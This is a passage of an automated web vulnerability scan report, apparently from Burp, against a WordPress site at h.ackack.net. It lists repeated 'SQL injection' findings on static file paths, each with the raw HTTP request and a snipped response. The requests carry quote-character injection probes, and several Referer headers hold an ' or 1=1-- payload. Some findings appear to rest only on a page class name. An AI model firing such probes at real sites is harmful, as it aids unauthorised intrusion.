Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:36 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:37 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.52. http://h.ackack.net/wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css

Issue detail

The REST URL parameter 6 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 6, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shThemeDefault.css'?ver=3.0.83b HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.2.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:39 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:39 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.53. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content'/themes/mystique/favicon.ico HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:44 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:44 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.54. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/favicon.ico

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes'/mystique/favicon.ico HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:48 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:49 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.55. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/favicon.ico

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes/mystique'/favicon.ico HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:50 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:51 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.56. http://h.ackack.net/wp-content/themes/mystique/favicon.ico [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/favicon.ico

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes/mystique/favicon.ico' HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=232936135.1298687462.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; __utma=232936135.1875523045.1298687462.1298687462.1298687462.1; __utmc=232936135; __utmb=232936135.1.10.1298687462

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:53 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:53 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.57. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/js/jquery.mystique.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content'/themes/mystique/js/jquery.mystique.js?ver=2.4.2 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:55 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.58. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/js/jquery.mystique.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes'/mystique/js/jquery.mystique.js?ver=2.4.2 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:58 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:58 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.59. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/js/jquery.mystique.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes/mystique'/js/jquery.mystique.js?ver=2.4.2 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:00 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:00 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.60. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/js/jquery.mystique.js

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes/mystique/js'/jquery.mystique.js?ver=2.4.2 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:02 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:02 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.61. http://h.ackack.net/wp-content/themes/mystique/js/jquery.mystique.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-content/themes/mystique/js/jquery.mystique.js

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 5, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-content/themes/mystique/js/jquery.mystique.js'?ver=2.4.2 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:05 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:05 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.62. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes'/js/jquery/jquery.js?ver=1.4.4 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:53 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:53 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.63. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes/js'/jquery/jquery.js?ver=1.4.4 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:55 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:55 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.64. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes/js/jquery'/jquery.js?ver=1.4.4 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:57 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:59 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.65. http://h.ackack.net/wp-includes/js/jquery/jquery.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/jquery/jquery.js

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 4, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes/js/jquery/jquery.js'?ver=1.4.4 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:33:01 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:33:01 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.66. http://h.ackack.net/wp-includes/js/l10n.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/l10n.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes'/js/l10n.js?ver=20101110 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:31 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:31 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

